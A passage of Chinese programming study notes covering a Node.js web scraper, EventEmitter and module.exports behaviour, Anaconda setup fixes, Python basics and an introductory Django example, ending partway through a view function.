以慕课网视频教程列表为例
var http = require('http')
var cheerio = require('cheerio')
var url = 'http://www.imooc.com/learn/348'
function filterChapters(html) {
var $ = cheerio.load(html)
var chapters = $('.chapter')
var courseData = []
/*
爬出数据格式为
courseData =[
chapterTitle: chapterTitle,
videos: [
{
title:videoTitle,
id:id
}
]
]
*/
chapters.each(function(item) {
var chapter = $(this)
var chapterTitle = chapter.find('h3').text()
var videos = chapter.find('.video').children('li')
var chapterData = {
chapterTitle: chapterTitle,
videos: []
}
videos.each(function(item) {
var video = $(this).find('.J-media-item')
var videoTitle = video.text()
var id =video.attr('href').split('video/')[1]
chapterData.videos.push({
title: videoTitle,
id: id
})
})
courseData.push(chapterData)
})
return courseData
}
function printCoutseInfo(courseData) {
courseData.forEach(function(item) {
var chapterTitle = item.chapterTitle
console.log(chapterTitle+ '\n')
item.videos.forEach(function(video) {
console.log(' [' + video.id + ']' + video.title + '\n' )
})
})
}
http.get(url, function(res) {
var html = ''
res.on('data',function(data) {
html += data
})
res.on('end',function() {
var courseData = filterChapters(html)
printCoutseInfo(courseData)
})
}).on('error',function() {
console.log('获取课程数据出错!')
})

5.events
模块¶
var EventEmitter = require('events').EventEmitter
var life = new EventEmitter()
life.setMaxListeners(11)
life.on('求安慰', function(who) {
console.log('给' + who + '揉脚')
})
life.on('求安慰', function(who) {
console.log('给' + who + '洗衣')
})
life.on('求安慰', function(who) {
console.log('给' + who + '做饭')
})
life.on('求安慰', function(who) {
console.log('给' + who + '5')
})
life.on('求安慰', function(who) {
console.log('给' + who + '6')
})
life.on('求安慰', function(who) {
console.log('给' + who + '7')
})
life.on('求安慰', function(who) {
console.log('给' + who + '8')
})
life.on('求安慰', function(who) {
console.log('给' + who + '9')
})
life.on('求安慰', function(who) {
console.log('给' + who + '10')
})
life.on('求安慰', function(who) {
console.log('给' + who + '你想累死我啊。。。')
})
life.on('求溺爱', function(who) {
console.log('给' + who + '交工资')
})
life.on('求溺爱', function(who) {
console.log('给' + who + '买衣服')
})
/*---删除监听事件开始---*/
function water(who) {
console.log('给' + who + '倒水')
}
life.on('求安慰', water)
//单个移除
life.removeListener('求安慰', water)
//下面方法不传参,会移除所有事件监听,传参,只会移除某一类的事件函数
life.removeAllListeners('求安慰')
/*---删除监听事件结束---*/
// var hasConforListener = life.emit('求安慰','汉子')
// var hasLoveListener = life.emit('求溺爱','妹子')
// var hasPlayListener = life.emit('求玩坏','汉子')
// console.log(hasConforListener)
// console.log(hasLoveListener)
// console.log(hasPlayListener)
//打印监听事件个数
console.log(life.listeners('求安慰').length)
console.log(EventEmitter.listenerCount(life,'求安慰'))

exportst与module.exports¶
1.exports和module.exports指向同一对象,¶
两者随便添加属性/方法,都会接收到变化,因为都指向同一个对象。故—>结果相同
exports.tfunc = function(){}
module.exports.name = 'zha'
console.log(exports) // { tfunc: [Function], name: 'zha' }
console.log(module.exports) // { tfunc: [Function], name: 'zha' }
2.exports直接赋值¶
此时切断了exports同module.exports一同指向对象的引用,真正输出的是module.exports指向的对象,而exports赋值无效
exports.name = 'wan'
var tfunc = function(){}
exports = tfunc
console.log(exports) // [Function: tfunc]
console.log(module.exports) // { tfunc: [Function], name: 'wan' }
3.修正上述两者输出¶
注意下面代码不能同时运行,两部分切换调整输出,看结果
/*-----------------test1-----------------*/
exports = module.exports
console.log(exports) // { tfunc: [Function], name: 'wan' }
// 那如果想让module.exports同exports输出一样,怎么调整呢?
/*-----------------test2-----------------*/
// module.exports = exports
// console.log(module.exports) // [Function: tfunc]
4.module.exports直接赋值¶
同2一样切断了exports的引用。上述的module.exports值会被现在的对象覆盖
/*
1.上述为test1时
[Function: tfunc]
11
2.上述为test2时
{ tfunc: [Function], name: 'wan' }
11
*/
module.exports = "li"
console.log(exports)
console.log(module.exports)
5.更直观的module.exports覆盖问题¶
add=function(arg1,arg2){
return arg1+arg2;
};
minus=function(arg1,arg2){
return arg1-arg2;
};
module.exports=add;
module.exports=minus;
console.log(module.exports); // [Function: minus] 最后一个会将前面的全部覆盖掉
6.总结¶
总结:
真正输出总是 module.exports。
如果两者同时出现或被修改,
只有 module.exports 返回,exports 被忽略。
第三节:Python系列¶
这一节介绍的是Python系列,包括Python的基础内容及py2与py3切换等,更多内容,待更新…

Win10上Anaconda的python2与python3切换¶
一、Conda配置¶
1.Path配置¶
配置系统变量
D:\Anaconda
D:\Anaconda\Library\bin
D:\Anaconda\Scripts
上述操作失败
在Scripts中找不到activate.bat/deactivate.bat/conda.exe
1.进入 D:\Anaconda\pkgs\conda-4.4.10-py36_0\Scripts
2.将所有文件复制到 D:\Anaconda\Scripts
3.重启cmd,输入conda,正常,到此圆满配置好conda。
2.Anaconda prompt配置¶
anaconda-prompt报错
'"D:\Anaconda\Scripts\..\Library\bin\conda.bat"' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
解决办法
1.进入D:\Anaconda\pkgs\conda-4.4.10-py36_0\Library\bin
2.复制conda.bat至D:\Anaconda\Library\bin
3.再次运行,成功!

Python基础¶
一、Day1¶
0.print¶
name = input("What is your name?")
print("Hello "+name )
# 或者print("Hello",name ),print中逗号分隔直接将字符串用空格分隔,若用+号连接,并且想留空格,则在前一字符串留空格即可
1.输入输出¶
username=input("username:")
password=input("password:")
print(username,password)
2.格式输入输出¶
# 第一种方法
name=input("Name:")
age=input("age:")
job=input("job:")
info='''---------info of ---------''' + '''
Name:'''+name+'''
Age:'''+age+'''
Job:'''+job
print(info)
# 第二种方法
name=input("Name:")
age=int(input("age:")) #如果不用int()就会报错(虽然输入为数字,但是print(type(age))为str型),因为python如果不强制类型转化,就会默认字符型
job=input("job:")
info='''---------info of ---------
Name:%s
Age:%d
Job:%s'''%(name,age,job)
print(info)
# 第三种方法
name=input("Name:")
age=int(input("age:")) #如果不用int()就会报错(虽然输入为数字,但是print(type(age))为str型),因为python如果不强制类型转化,就会默认字符型
job=input("job:")
info='''---------info of ---------
Name:{_name}
Age:{_age}
Job:{_job}'''.format(_name=name,_age=age,_job=job)
print(info)
# 第四种方法
name=input("Name:")
age=int(input("age:")) #如果不用int()就会报错(虽然输入为数字,但是print(type(age))为str型),因为python如果不强制类型转化,就会默认字符型
job=input("job:")
info='''---------info of ---------
Name:{0}
Age:{1}
Job:{2}'''.format(name,age,job)
print(info)
3.输入密码不可见 getpass在pycharm中不好使¶
import getpass
pwd=getpass.getpass("请输入密码:")
print(pwd)
4.验证,python缩进¶
_username='Alex Li'
_password='abc123'
username=input("username:")
password=input("password:")
if _username==username and _password==password:
print(("Welcome user {name} login...").format(name=username))
else:
print("Invalid username or password!")
5.指向—修改字符串¶
print("Hello World")
name = "Alex Li"
name2=name
print(name)
print("My name is", name,name2) # Alex Li Alex Li
name = "PaoChe Ge"
# name2=name指的是name2与name一样指向Alex Li的内存地址,name指向改了,但是name2不变
print("My name is", name,name2) # PaoChe Ge Alex Li
print("您好,我来了")
6.注释''' '''
内涵¶
# 第一种情况就是注释
'''print("这是一行注释")'''
#第二种情况就是打印多行字符串
str='''这是第一行内容
这是第二行内容'''
print(str)
# 3.单套双,双套单都可以
str1="i'am a student"
print(str1)
7.模块初始sys与os¶
import sys
# 打印环境变量
print(sys.path)
print(sys.argv)
print(sys.argv[2])
# 进度条
import time
for i in range(50):
sys.stdout.write('#')
sys.stdout.flush()
time.sleep(0.5)
import os
cmd_res = os.system("dir") # os.system()执行后直接输出到终端,然后结束,最后cmd_res保存的是os.system()执行后的状态码
print("--->",cmd_res) # ---> 0
cmd_res1=os.popen("dir")
print("--->",cmd_res1) # 得到的是内存对象值 ---> <os._wrap_close object at 0x00000000029187B8>
cmd_res1=os.popen("dir").read()
print("--->",cmd_res1) # 读取数据必须再后面加个read()
os.mkdir("new_dir3") # 创建一个目录
os.removedirs("new_dir") # 删除一个目录
8.三元运算¶
# 1.result = 值1 if 条件 else 值2
d=a if a>b else c
print(d)
9.python3特性¶
python3中最重要的新特性大概是对文本和二进制数据作了更为清晰的区分。文本总是Unicode,由str类型表示,
二进制数据则由bytes类型表示。Python3不会以任意隐式的方式混用str和bytes,正是这使得两者区分特别清晰。
即:在python2中类型会自动转化,而在python3中则要么报错,要么不转化
str与bytes相互转化
10.bytes与str转化¶
msg="我爱北京天安门"
print(msg)
print(msg.encode(encoding="utf-8")) # str转bytes,编码
print(msg.encode(encoding="utf-8").decode(encoding="utf-8")) # bytes转str,解码
11.循环¶
print("第一种循环")
count = 0
while True:
print("count:",count)
count+=1
if(count==10):
break
print("第二种循环")
count = 0
for count in range(0,10,2):
print("count:", count)
for i in range(0,10):
if i<5:
print("loop ",i)
else:
continue
print("hehe....")
my_age=28
count = 0
while count<3:
user_input=int(input("input your guess num:"))
if user_input==my_age:
print("Congratulations,you got it!")
break
elif user_input<my_age:
print("Oops,think bigger!")
else:
print("think smaller!")
count+=1
print("猜这么多次都不对,你个笨蛋.")
12.练习—三级菜单¶
data={
'北京':{
"昌平":{
"沙河":["oldboys",'test'],
"天通苑":["链家地产","我爱我家"]
},
"朝阳":{
"望京":["oldboys",'默陌陌'],
"国贸":["CICC","HP"],
"东直门":["Advent","飞信"]
},
"海淀":{}
},
'山东':{
"德州":{},
"青岛":{},
"济南":{}
},
'广东':{
"德州":{},
"青岛":{},
"济南":{}
},
}
exit_flag = False
while not exit_flag:
for i in data:
print(i)
choice=input("选择进入1>>:")
if choice in data:
while not exit_flag:
for i2 in data[choice]:
print("\t",i2)
choice2=input("选择进入2>>:")
if choice2 in data[choice]:
while not exit_flag:
for i3 in data[choice][choice2]:
print("\t\t", i3)
choice3 = input("选择进入3>>:")
if choice3 in data[choice][choice2]:
for i4 in data[choice][choice2][choice3]:
print(i4)
choice4=input("最后一层,按b返回>>:")
if choice4=='b':
pass # pass可以理解为占位符,表示什么都不做,返回循环起始位置,以后可以在此处添加内容
elif choice4=='q':
exit_flag=True
if (choice3 == 'b'):
break
elif choice3 == 'q':
exit_flag = True
if (choice2 == 'b'):
break
elif choice2 == 'q':
exit_flag = True
if (choice == 'b'):
break
二、Day2¶
1.unicode 与 utf-8/gbk变换¶
# utf-8与gbk互相转化需要通过Unicode作为中介
s="我爱北京天安门" # 默认编码为Unicode
print(s.encode("gbk")) # Unicode可直接转化为gbk
print(s.encode("utf-8")) # Unicode可直接转化为utf-8
print(s.encode("utf-8").decode("utf-8").encode("gb2312")) # 此时s.encode("utf-8")即转为utf-8了,然后转为gb2312,则需要先告诉Unicode你原先的编码是什么,即s.encode("utf-8").decode("utf-8"),再对其进行编码为gb2312,即最终为s.encode("utf-8").decode("utf-8").encode("gb2312")
2.文件¶
f=open('ly.txt','r',encoding='utf-8') # 文件句柄 'w'为创建文件,之前的数据就没了
data=f.read()
print(data)
f.close()
f=open('test','a',encoding='utf-8') # 文件句柄 'a'为追加文件 append
f.write("\n阿斯达所,\n天安门上太阳升")
f.close()
f = open('ly.txt', 'r', encoding='utf-8') # 文件句柄
for i in range(5):
print(f.readline().strip()) # strip()去掉空格和回车
for line in f.readlines():
print(line.strip())
# 到第十行不打印
for index,line in enumerate(f.readlines()):
if index==9:
print('----我是分隔符-----')
continue
print(line.strip())
# 到第十行不打印
count=0
for line in f:
if count==9:
print('----我是分隔符-----')
count += 1
continue
print(line.strip())
count += 1
f = open('ly.txt', 'r', encoding='utf-8') # 文件句柄
print(f.tell())
print(f.readline(5))
print(f.tell())
f.seek(0)
print(f.readline(5))
print(f.encoding)
print(f.buffer)
print(f.fileno())
print(f.flush()) # 刷新缓冲区
# 进度条
import sys,time
for i in range(50):
sys.stdout.write('#')
sys.stdout.flush()
time.sleep(0.5)
f = open('ly.txt', 'a', encoding='utf-8') # 文件句柄
f.seek(10)
f.truncate(20) # 指定10到20个字符,10个字符前面留着,后面20字符清除
f = open('ly.txt', 'r+', encoding='utf-8') # 文件句柄
print(f.readline().strip())
print(f.readline().strip())
print(f.readline().strip())
f.write("我爱中华")
f.close()
# 实现简单的shell sed替换功能
f=open("ly.txt","r",encoding="utf-8")
f_new=open("ly2.txt","w",encoding="utf-8")
for line in f:
if "肆意的快乐" in line:
line=line.replace("肆意的快乐","肆意的happy")
f_new.write(line)
f.close()
f_new.close()
import sys
f=open("ly.txt","r",encoding="utf-8")
f_new=open("ly2.txt","w",encoding="utf-8")
find_str = sys.argv[1]
replace_str = sys.argv[2]
for line in f:
if find_str in line:
line=line.replace(find_str,replace_str)
f_new.write(line)
f.close()
f_new.close()
# with语句---为了避免打开文件后忘记关闭,可以通过管理上下文
with open('ly.txt','r',encoding='utf-8') as f:
for line in f:
print(line.strip())
# python2.7后,with又支持同时对多个文件的上下文进行管理,即:
with open('ly.txt','r',encoding='utf-8') as f1,open('ly2.txt','r',encoding='utf-8'):
pass
3.全局变量¶
names=["Alex","Jack","Rain"]
# 除了整数和字符串在函数内不能改,列表,字典这些可以改
def change_name():
names[0]="金角大王"
print("inside func",names
)
change_name()
print(names)
# 当全局变量与局部变量同名时,在定义局部变量的子程序内,局部变量起作用,在其它地方全局变量起作用。
4.list操作¶
__author__="Alex Li"
names="zhang Gu Xiang Xu"
names=["zhang","Gu","Xiang","Xu"]
# 1.切片
print(names[0],names[1],names[2])
print(names[1:3]) # 顾头不顾尾,切片
print(names[-1]) # 在不知道多长情况下,取最后一个位置
print(names[-1:-3]) # 切片是从左往右,此时不输出
print(names[-3:-1]) # 顾头顾尾,去最后三个
print(names[-2:]) # 取最后两个
print(names[0:3]) # 切片 等价于 print(names[:3])
# 2.追加
names.append("Lei")
print(names)
# 3.指定位置插入
names.insert(1,"Chen") # Gu前面插入
print(names)
# 4.修改
names[2]="Xie"
print(names)
# 5.删除
# 第一种删除方法
names.remove("Chen")
print(names)
# 第二种删除方法
del names[1]
print(names)
# 第三种删除方法
names.pop() # 默认删除最后一个
print(names)
names.pop(1) #删除第二个元素
print(names)
print(names.index("Xu")) # 1
print(names[names.index("Xu")]) #打印出找出的元素值3
# 6.统计
names.append("zhang") #再加一个用于学习统计"zhang"的个数
print(names.count("zhang"))
# 7.排序
names.sort() #按照ASCII码排序
print(names)
names.reverse() # 逆序
print(names)
# 8.合并
names2=[1,2,3,4]
names.extend(names2)
print(names,names2)
# 9.删掉names2
'''del names2'''
print(names2) # NameError: name 'names2' is not defined,表示已删除
# 10.浅copy
names2=names.copy()
print(names,names2) # 此时names2与names指向相同
names[2]="大张"
print(names,names2) # 此时names改变,names2不变
# 11.浅copy在列表嵌套应用
names=[1,2,3,4,["zhang","Gu"],5]
print(names)
names2=names.copy()
names[3]="斯"
names[4][0]="张改"
print(names,names2) # copy为浅copy,第一层copy不变,后面的嵌套全部都变,修改names2与names都一样
# 12.完整克隆
import copy
# 浅copy与深copy
'''浅copy与深copy区别就是浅copy只copy一层,而深copy就是完全克隆'''
names=[1,2,3,4,["zhang","Gu"],5]
# names2=copy.copy(names) # 这个跟列表的浅copy一样
names2=copy.deepcopy(names) #深copy
names[3]="斯"
names[4][0]="张改"
print(names,names2)
# 13.列表循环
for i in names:
print(i)
print(names[0:-1:2]) # 步长为2进行切片
# 0与-1都可以省略掉
print(names[::2]) # 步长为2进行切片
# 浅拷贝三种方式
person=['name',['a',100]]
p1=copy.copy(person)
p2=person[:] #其实p2=person[0:-1],0与-1均可以不写
p3=list(person)
print(p1,p2,p3)
5.Tuple操作¶
# 元组相当于只读列表,只有两个方法一个是count,一个是index
names=('alex','jack','alex')
print(names.count('alex'))
print(names.index('jack'))
# 购物篮程序
product_list=[('Iphone', 5800),
('Mac Pro', 9800),
('Bike', 5800),
('Watch', 10600),
('Coffee', 31),
('Alex Python', 120),]
shopping_list=[]
salary=input("Input your salary:")
if salary.isdigit():
salary=int(salary)
while True:
'''for item in product_list:
print(product_list.index(item),item)
'''
for index,item in enumerate(product_list):
print(index,item)
user_choice=input("选择要买嘛?>>:")
if user_choice.isdigit():
user_choice=int(user_choice)
if user_choice<len(product_list) and user_choice>=0:
p_item=product_list[user_choice]
if p_item[1]<=salary:
shopping_list.append(p_item)
salary-=p_item[1]
print("Added %s into shopping cart, your current balance is \033[31;1m%s\033[0m"%(p_item,salary))
else:
print("\033[41;1m你的余额只剩[%s]啦,还买个毛线\033[0m"%salary)
else:
print("product code[%s] is not exist!"%user_choice)
elif user_choice=='q':
print('-----------shopping list----------------')
for p in shopping_list:
print(p)
print("Your current balance:",salary)
exit()
else:
print("invalid option")
6.Set操作¶
# 集合set 集合关系测试
list_1=[1,4,5,7,3,6,7,9]
list_1=set(list_1)
print(list_1,type(list_1))
list_2=set([2,6,0,6,22,8,4])
print(list_2,type(list_2))
print("--------------------------------")
# 取交集
print("方法一")
print(list_1.intersection(list_2))
print("方法二")
print(list_1&list_2)
print("--------------------------------")
# 取并集
print("方法一")
print(list_1.union(list_2))
print("方法二")
print(list_1|list_2)
print("--------------------------------")
# 差集 in list_1 but not in list_2
print(list_1.difference(list_2))
print(list_1-list_2)
print("--------------------------------")
# 子集
list_3=[1,4,6]
list_4=[1,4,6,7]
list_3=set(list_3)
list_4=set(list_4)
print(list_3.issubset(list_4))
print(list_4.issuperset(list_3))
print("--------------------------------")
# 对称差集 把list_1与list_2互相都没有的元素放在一块,其实就是去掉重复元素
print(list_1.symmetric_difference(list_2))
print(list_1^list_2)
print("--------------------------------")
# 是否没有交集 Return True if two sets have a null intersection.
list_5=set([1,2,3,4])
list_6=set([5,6,7])
print(list_5.isdisjoint(list_6))
print("--------------------------------")
# 基本操作
# 添加一项
list_1.add('x')
print(list_1)
# 添加多项
list_1.update([10,37,42])
print(list_1)
# 删除一项
list_1.remove(10)
print(list_1)
# set长度
print(len(list_1))
# 测试9是否是list_1的成员
print(9 in list_1)
# pop()删除并且返回一个任意的元素
print(list_1.pop())
# 删除一个指定的值
list_1.discard('x')
print(list_1)
7.字符串操作¶
name="alex"
print(name.capitalize()) # 首字母大写
print(name.count("a")) # 统计字母个数
print(name.count("a")) # 统计字母个数
print(name.center(50,"-")) #总共打印50个字符,并把nam放在中间,不够的用-补上
print(name.endswith("ex")) # 判断字符串以什么结尾
name="alex \tname is alex"
print(name.expandtabs(tabsize=30)) # 将name中\t转为30个空格
print(name.find("x")) # 取索引
print(name[name.find("x"):]) # 字符串切片
name="my \tname is {name} and i am {year} old"
print(name.format(name="alex",year=23))
print(name.format_map({'name':'alex','year':23}))
print('ab123'.isalnum()) #isalnum()包含所有字母及数字,如果不是这两个,则为False
print('ab123'.isalpha()) # False isalpha()包含纯英文字符
print('1A'.isdecimal()) # 是否是十进制 False
print('1A'.isdigit()) # 是否是整数 False
print('_'.isidentifier()) #判断是否是合法的标识符,实质是否为合法变量名 True
print('aasd'.islower()) # 判断是否是小写 True
print(''.isspace()) # 是否是空格 False
print('My name is'.istitle()) # 字符串首字母大写为title,否则不是
print('+'.join(['1','2','3'])) # 对一列表中所有元素进行join操作
print(name.ljust(50,'*')) # 左对齐字符串,多余位用*补全
print(name.rjust(50,'-')) # 右对齐字符串,多余位用*-补全
print('\n Alex'.lstrip()) # 去掉左边的空格/回车
print('\nAlex\n'.rstrip()) # 去掉右边的空格/回车
print('\nAlex\n'.strip()) # 去掉左边和右边的空格/回车
print('Alex')
p=str.maketrans("abcdef","123456")
print("alex li".translate(p)) #把alex li换成上一行对应的值
print("alex li".replace('l','L',1)) # 替换 1表示替换几个l,从左到右计算替换个数
print("alex li".rfind('l')) # 找到的最右边的下标返回
print("alex li".split('l')) # 默认将字符串按照空格分隔成列表,也可以在()中填写相应的分隔符,比如以字符l分隔,print("alex li".split(‘l’)),而且分隔符在列表中不会出现
print("1+2+3+4".split('+')) # ['1', '2', '3', '4']
print("1+2\n+3+4".splitlines()) # ['1+2', '+3+4']
print("Alex Li".swapcase()) # aLEX lI
print('lex li'.title()) # Lex Li
print('lex li'.zfill(50)) #不够以0填充
print('---')
8.字典¶
# 字典无序
info={
'stu1101':"tengxun",
'stu1102':"baidu",
'stu1103':"ali",
}
print(info)
# 0.查找
# 方法一:确定存在
print(info["stu1101"]) # 查找若不在,则报错
# 方法二:不确定存在,安全查找方法
print(info.get("stu11004")) # 查找不在不会报错,直接返回None,若有直接返回
print('stu1103' in info) # True
# 1.修改
info["stu1101"]="腾讯"
print(info)
# 2.增加
info["stu1104"]="zhubajie"
print(info)
# 3.删除
# 方法一
del info["stu1101"]
print(info)
# 方法二
info.pop("stu1102")
print(info)
'''
# 随机删除
info.popitem()
print(info)
'''
# 4.多级字典嵌套及操作
av_catalog = {
"欧美":{
"www.youporn.com": ["很多免费的,世界最大的","质量一般"],
"www.pornhub.com": ["很多免费的,也很大","质量比yourporn高点"],
"letmedothistoyou.com": ["多是自拍,高质量图片很多","资源不多,更新慢"],
"x-art.com":["质量很高,真的很高","全部收费,屌比请绕过"]
},
"日韩":{
"tokyo-hot":["质量怎样不清楚,个人已经不喜欢日韩范了","听说是收费的"]
},
"大陆":{
"1024":["全部免费,真好,好人一生平安","服务器在国外,慢"]
}
}
b={
'stu1101':"Alex",
1:3,
2:5
}
info.update(b) #将两个字典合并,存在key,则更新value,不存在key,则合并
print(info)
print(info.items()) #把一个字典转成列表
c=info.fromkeys([6,7,8],"test")
print(c)
c=info.fromkeys([6,7,8],[1,{'name':'alex'},444])
print(c)
c[7][1]['name']='Jack Chen' # 3个key共用一个value,修改一个则所有的都修改了
print(c)
print("--------")
av_catalog["大陆"]["1024"][1]="可以在国内做镜像" # 二级字典替换
av_catalog.setdefault("taiwan",{"www.baidu.com":[1,2]}) # 如果不重名,即创建一个新的值,如果重名,将找到的值返回
print(av_catalog)
print(info.keys()) # 打印出所有的key
print(info.values()) # 打印出所有的value
print("---------------")
for i in info:
print(i,info[i]) #效率更高点
print("---------------")
for k,v in info.items():
print(k,v)
9.函数¶
# 1.无参函数
# 定义一个函数
def fun1():
'''testing'''
print('in the fun1')
return 1
# 定义一个过程 实质就是无返回值的函数
def fun2():
'''testing2'''
print('in the fun2')
x=fun1()
y=fun2()
print(x)
print(y) # 没有返回值得情况下,python隐式地返回一个None
import time
def logger():
time_format='%Y-%m-%d %X %A %B %p %I'
time_current=time.strftime(time_format)
with open('a.txt','a+')as f:
f.write('time %s end action\n'%time_current)
def test1():
print('in the test1')
logger()
def test2():
print('in the test2')
logger()
return 0
def test3():
print('in the test3')
logger()
return 1,{5:"sda",6:"zad"},[1,2,3]
x=test1()
y=test2()
z=test3()
print(x) # None
print(y) # 0
print(z) # (1, {5: 'sda', 6: 'zad'}, [1, 2, 3])
'''
总结:
返回值数=0:返回None
返回值数=1:返回object
返回值数>1:返回tuple
'''
# 2.有参函数
# 默认参数特点:调用函数的时候,默认参数非必须传递
# 用途:1.默认安装值
def test(x,y):
print(x)
print(y)
test(1,2) # 位置参数调用 与形参意义对应
test(y=1,x=2) # 关键字调用,与形参顺序无关
test(3,y=2) # 如果既有关键字调用又有位置参数,前面一个一定是位置参数,一句话:关键参数一定不能写在位置参数前面
'''
比如加入一个参数z
'''
def test1(x,y,z):
print(x)
print(y)
print(z)
# 关键参数一定不能放在位置参数前面
test1(3,4,z=6)
test1(3,z=6,y=4)
# 默认参数,
def test(x,y,z=2):
print(x)
print(y)
print(z)
test(1,2)
# 用*args传递多个参数,转换成元组的方式 *表示一个功能代号,表示接受的参数不固定,args可以随意起名
def test(*args):
print(args)
test(1,3,4,5,5,6)
test(*[1,3,4,5,5,6]) # args=tuple([1,2,3,4,5])
def test(x,*args):
print(x)
print(args)
test(1,2,3,4,5,6,7) # 1 (2,3,4,5,6,7)
# 字典传值 **kwagrs:把N个关键字参数,转换成字典的方式
def test(**kwargs):
print(kwargs)
print(kwargs['name'],kwargs['age'],kwargs['id'],kwargs['sex'])
test(name='alex',age=8,id=10,sex='M') # {'name': 'alex', 'age': 8, 'id': 10, 'sex': 'M'}
test(**{'name':'alex','age':8,'id':10,'sex':'M'})
def test(name,**kwargs):
print(name)
print(kwargs)
test('alex',age=18,sex='M') # 字典 {'age': 18, 'sex': 'M'}
# 默认参数得放在参数组前面
def test(name,age=18,**kwargs):
print(name)
print(age)
print(kwargs)
test('alex',sex='M',hobby='tesla',age=3)
test('alex',3,sex='M',hobby='tesla')
test('alex') # 后面的**kwargs不赋值输出为空字典
def test(name,age=18,*args,**kwargs):
print(name)
print(age)
print(args)
print(kwargs)
test('alex',age=34,sex='M',hobby='tesla') # alex 34 () {'sex': 'M', 'hobby': 'tesla'}
10.高阶函数¶
# 高阶函数 变量可以指向函数,函数的参数能接受变量,那么一个函数就可以接受另一个函数作为参数,这个函数就叫做高阶函数
def f(x):
return x
def add(x,y,f):
return f(x)+f(y)
res=add(1,2,f)
print(res) # 3
pip及Visual Studio编译一闪而过¶
一、pip警告¶
issue:
SNIMissingWarning: An HTTPS request has been made, but the SNI (Subject Name Indication) extension to TLS is not available on this platform. This may cause the server to present an incorrect TLS certificate, which can cause validation failures. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#snimissingwarning.
InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
answer:
`pip install pyopenssl ndg-httpsclient pyasn1`
二、Visual Studio编译一闪而过¶
issue:
按F5出现dos窗口一闪而过
answer:
正确的应该是Ctrl+F5,F5是Debugging模式,在这个模式下,当程序运行结束后,窗口不会继续保持打开状态,而Ctrl+F5是 Start Without Debugging模式。或者在代码return 之前加上getchar()。
Python Web之Django初识¶
1.安装及配置¶
#0 安装:
pip3 install django
#1 创建project:
django-admin startproject mysite
---mysite
---settings.py # 包含了项目的默认设置,包括数据库信息,调试标志以及其他一些工作的变量。
---url.py # 路由 负责把URL模式映射到应用程序。
---wsgi.py # 协议
---- manage.py(启动文件) # Django项目里面的工具,通过它可以调用django shell和数据库等。
#2 在mysite目录下创建blog应用:
python manage.py startapp blog
---blog
---__init__.py
---admin.py
---apps.py
---migrations
---__init__.py
---models.py
---tests.py
---views.py
#3 启动django项目:
python manage.py runserver 8080
#4 生成同步数据库的脚本:
python manage.py makemigrations
同步数据库:
python manage.py migrate
#5 访问后台管理系统:
为进入这个项目的后台创建超级管理员:
python manage.py createsuperuser,设置好用户名和密码后便可登录啦!
http://127.0.0.1:8080/admin/
#6 清空数据库:
python manage.py flush
#7 查询某个命令的详细信息:
django-admin.py help startapp
#8 启动交互界面:
python manage.py shell
这个命令和直接运行 python 进入 shell 的区别是:你可以在这个 shell 里面调用当前项目的 models.py 中的 API,对于操作数据,还有一些小测试非常方便。
#9 查看详细的列表:
python manage.py
2.hello django及显示时间实例¶
# urls.py
添加path('show_time/', views.show_time),
# 修改views(视图)
# **每一个视图必须有一个形参,客户端/浏览器发送服务器之后,服务器返回浏览器打包的信息对象,全在request里面**
1.效果一:访问页面显示hello
# **导入HttpResponse,HttpResponse('hello')返回给前端的实例对象**
def show_time(request):
return HttpResponse('hello')
2.效果二:访问页面显示hello,hello封装到模板index.html中。
def show_time(request):
return render(request,"index.html")
3.效果三:访问页面显示hello django,并显示当前时间
def show_time(request):
t=time.ctime()
# 将字符串time以键值对绑定当前时间点,并发送给前端,前端index.html中{{time}}将time对应的内容渲染出来
return render(request,"index.html",{'time':t})
# 新增index.html(放置templates下面):
<div>
<!--两个大括号去渲染一个变量-->
hello {{ time }}
</div>
访问记得:http://localhost:端口/show_time
3.引用资源文件(例如引用jquery)¶
方法一:settings别名¶
settings.py
# 前端用的这个别名(虚拟路径),是对后面statics的替换,为了维护方便
STATIC_URL = '/static/' # 别名
# 以下为添加的内容,注意元组/列表填写路径,否则报错
# 物理路径/绝对路径
STATICFILES_DIRS = (
os.path.join(BASE_DIR,'statics'),
)
/templates/index.html
<div id="div1">
<!--两个大括号去渲染一个变量-->
hello {{ time }}
</div>
// 注意这里访问jquery文件时,必须用别名访问,否则报错,资源找不到。
<script src="/static/jquery-3.3.1.js"></script>
<script>
$('#div1').css("color",'red')
</script>
总结
先在根目录下定义一个statics包文件夹,然后在下面放置jquery资源文件,为了让django读取到此文件,则必须更改settings.py中相关设置,在settings.py把statics添加进去,看上述代码,注意别名问题,所谓别名就是为了维护方便,在所有HTML处引用时只需使用别名访问,而不管资源文件(比如jquery)文件名的不断改变。若用资源文件名(例如将上述/statci改为/statics)则报错,资源文件找不到!!!
#django对引用名和实际名进行映射,引用时,只能按照引用名来,不能按实际名去找
#<script src="/statics/jquery-3.1.1.js"></script>
#------error-----不能直接用,必须用STATIC_URL = '/static/':
#<script src="/static/jquery-3.1.1.js"></script>
方法二:¶
不能去掉settings.py上面加的STATICFILES_DIRS
meta标签下加
{% load staticfiles %}
form表单里面加
<script src={% static "jquery-3.3.1.js" %}></script>
位置如下:
<div id="div1">
<!--两个大括号去渲染一个变量-->
hello {{ time }}
</div>
<script src={% static "jquery-3.3.1.js" %}></script>
<script>
$('#div1').css("color",'red')
</script>
4.提交数据并展示¶
userInfor.html
<h1>创建个人信息</h1>
<form action="/userInfor/" method="post">
<p>姓名<input type="text" name="username"></p>
<p>性别<input type="text" name="sex"></p>
<p>邮箱<input type="text" name="email"></p>
<p><input type="submit" value="submit"></p>
</form>
<hr>
<h1>信息展示</h1>
<table border="1">
<tr>
<td>姓名</td>
<td>性别</td>
<td>邮箱</td>
</tr>
{% for i in info_list %}
<tr>
<td>{{ i.username }}</td>
<td>{{ i.sex }}</td>
<td>{{ i.email }}</td>
</tr>
{% endfor %}
</table>
url.py
url(r'^userInfor/', views.userInfor)
views.py
info_list=[]
def userInfor(req):
if req.method=="POST":
username=req.POST.get("username",None)
sex=req.POST.get("sex",None)
